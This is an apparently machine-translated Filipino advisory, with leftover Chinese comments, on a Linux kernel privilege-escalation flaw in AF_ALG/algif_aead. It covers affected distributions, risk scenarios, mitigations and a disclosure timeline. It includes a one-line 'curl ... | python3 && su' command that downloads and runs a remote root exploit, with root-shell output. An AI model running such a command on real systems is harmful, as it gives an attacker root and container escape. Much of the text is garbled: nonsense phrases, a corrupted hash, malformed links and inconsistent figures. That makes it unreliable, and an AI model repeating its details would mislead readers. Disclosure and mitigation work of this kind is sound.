Filipino

← Bumalik sa listahan

732 byte upang patayin ang Linux: ang epikong loophole ay halos sampung taon ang layo.

itadol5j

Bigong presilya ng Kopya

Poetry loophole: 732 byte ang pumatay sa lahat ng Linux, halos 10 taon na nakatago

Isang pangalan.Pagkabigo sa PagkabigoAng kernel ng Linux (CVE-2026-314331) ay isiniwalat sa publiko:

  • 732 byteSulat Python
  • 100% Maaasahan, walang mapagkompetensiyang bintana o kernel offset
  • Impact ang Lahat ng Linux release Version(2017 hanggang sa kasalukuyan)
  • Nakatakas ang lalagyan.Pag-atake ng cross-tenant.
  • Halos 10 taon na akong nagkukubli.Hanggang 29 Abril 2026

Iisang iskrip sa iisang sulatUbuntu, RHEL, Amazon Linux, SUSEPareho silang makatuwiran — walang kinakailangang pagbabago.

♪ Ang pinakapusod ng butas ♪

Walang Asawang Makatuwirang mga Kakayahan

Ang Bigong Kopya ay isaTuwid-line na lohikal na mga kapintasan:

  • Walang hinihiling na mapagkompetensiyang bintana: Di - gaya ng karamihan sa Linux LPE, kailangan mong makipagkompetensiya.
  • Walang kinakailangang kernel offset.: Walang espesipikong kernel offset ang kailangan
  • 100% MaaasahanIba Pang Organiser
  • Iisang iskrip: may bisa para sa lahat ng pamamahagi

Ang kawing ng mga baka.

Kopya: Bigong kawing ng pagsalakay:

  • Maling pangangatuwiran: Isang makatuwirang insekto
  • AF ALG: Sa pamamagitan ng kernel crypto API
  • Spice(): Tawag ng aso
  • 4 byte pahina-cache na pagsulat: Huling pagsalakay sa orihinal na wika
  • Makukuha sa loob ng halos 10 taonMula 2017 hanggang bahagyang paglabas

• Bagsak ng epekto

Opisyal na sertipikadong paglaya

Paglaya bersyon ng kernel Kalagayan
Ubuntu 24.04 LTS 6.17.0-1007-aws Tiniyak ang Eksperimento
Linux ng Amazon 2023 6.18.8-9.213. amzn 2023 Tiniyak ang Eksperimento
RHEL 10.1 6.12.0-124.1.el10 1 Tiniyak ang Eksperimento
SUSE 16 6.12.0-1600.9-default Tiniyak ang Eksperimento

Iba pang apektadong edisyon

Ang sumusunod na edisyonGayundin.:

  • Debian.
  • Arko Linux.
  • Fedora.
  • Mabatong Linux
  • AlmaLinux
  • Linyang Oracle
  • Nalubog na Linux

Mga Konklusyon: Kung ang iyong kernel ay nasa pagitan ng 2017 at mga patse...Apektado ka.Hindi ko alam.

Tanawin ng High-risk

eksena Panganib Epekto
Maraming - Gamit na Linux Host Mataas Ang sinumang gumagamit ay nagiging root
Kubernetes / Naglalaman ng Cluster Mataas Cross-container, cross-tenant attack
CI Runner / Magtayo ng Bukid Mataas Ang PR ay nagiging ugat ng mananakbo
Cloud SaaS running user code Mataas Nagiging host root ang Tutant
Pamantayang Linux Server Medium Internal LPE, chain attack.
Isang notebook Mababa Mga hakbang pagkatapos ng pag - aayos

Pagpapasinaya

Option 1: Update of kernel (recommented)

Updated kernel upang isamaIkinalulungkot ko, pangunahing grupo a664bf3d603dIba Pang Organiser

  • Sapat na Kasiyahan: Undo algif award in-place optimization noong 2017
  • Mga Epekto: Ang pahinang drop-cache ay hindi na lumilitaw sa sinusulat na pahina
  • Kalagayan: Ang karamihan ng pangunahing mga edisyon ay naglabas ng mga patse

Option 2: Disable algif aead module (pansamantalang)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Mabawasan ang epekto ng paunang pag - unlad

Nakikipagtulungan Epekto
dm-crypt /LUKS Walang epekto
KTLS / IPsec Walang epekto
OpenSL / SSH Walang epekto
AF ALG Userspace Posibleng epekto

Mga Konklusyon: Hindi angkop na algif aead para sa karamihan ng mga sistemaWalang maliwanag na epekto.Hindi ko alam.

Programa 3: Seccomp Stop AF ALG

Para sa di - mapagkakatiwalaang mga trabaho (containers, sandboxs, CI), iwasan ng AF ALG socket ang paglikha:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

Paghaharap ng 🚀PoC

Ang PoC ay ginawang publiko para sa mga sistema ng ekwasyon:

Mabilis na Pagtakbo

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Mga Detalye ng PC

  • Pagdami ng Larawan:722 byte
  • Wika: Python 3.10+ stdlib lamang
  • Hiwalay na Target:/usr/bin/su
  • SHA256: a567d09b15f6°40e70c09fN 359°59f5330195E /05c7a3911687f9

Babala: script upang baguhin ang pahina sukat ng binary sa script; ang pagbabago ay hindi nagtatagal pagkatapos ng muling pag-arte, ngunit ang root shell ay tunay. Huwag tumakbo sa kapaligiran ng produksiyon.

• Pag - aalis ng mga linya ng panahon

Petsa Mga Pangyayari
2026-03-23 Report sa Linux Kernel Security team
2026-03-24 Unang pagpapatunay
2026-03-25 Patch panukala at audit
2026-04-01 Pach to Mainline
2026-04-22 CVE-2026-314331 Pamamahagi
2026-04-29 Pahayag Pangmadla

Tagapagtatag: Xint Code

HukayXint CodeNatagpuan:

  • Panahon ng Maton: Mga 1 oras na scan Linux crypto/ subsystem
  • Humanap ng Pamamaraan: Itinaboy ko ang code audit
  • Ganap na pagsusuri: Mga ugat na sanhi, mga dayagram, programang imprator
  • Iba Pang mga tuklas: Ang iba pang high-level criticality patlang ay nakikilala rin at pinagtutugma pa rin para sa pagsisiwalat

Xint Code

  • 0-araw na RCE: ZeroDay Cloud, ilipat ang mga kategorya ng database (Redis, PostgresQL, MariaDB)
  • DARPA AuxCC Top 3: Huling Hamon sa AI Cyber
  • DEF CON CTF 9x: DEF CON CTF ang nagwaging koponan sa kasaysayan

Sumaryo

Bigo ang Kopya (CVE-2026-314331)epic Linux kernel hole:

  • 732 Byte Kill All Linux (mula noong 2017)
  • 100% pagkamaaasahan, isang lohikal na depekto
  • Tumakas ang mga residente. Pag-atake ng cross-detainer.
  • Ito ay naka-aapuhap sa loob ng halos 10 taon hanggang ika- 29 ng Abril, 2026.
  • Tanawing pang-isk: makinang pagmamayari ng multi-rentang bahay, kumpol ng container, CI Runner, SaaS
  • Mitigasyon: Update o ipagbawal ang kernel algif aead
  • Founder: Xint Code, AI driver audit

Halos isang dekada ng mga butas na epiko, pinapatay ng isang iskrip ang lahat ng Linux.

Pagkakawatak - watak Network:mga http://copy.fail

GitHub PoC:Mga http://github.com/theori-io/copy-fail-CVE-2026-314331

Technical analysis:Mga http://xint.io/blog/copy-fail-linux-publishons

Patch ng Kernel:Mga http://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47c21e0daec706d7a5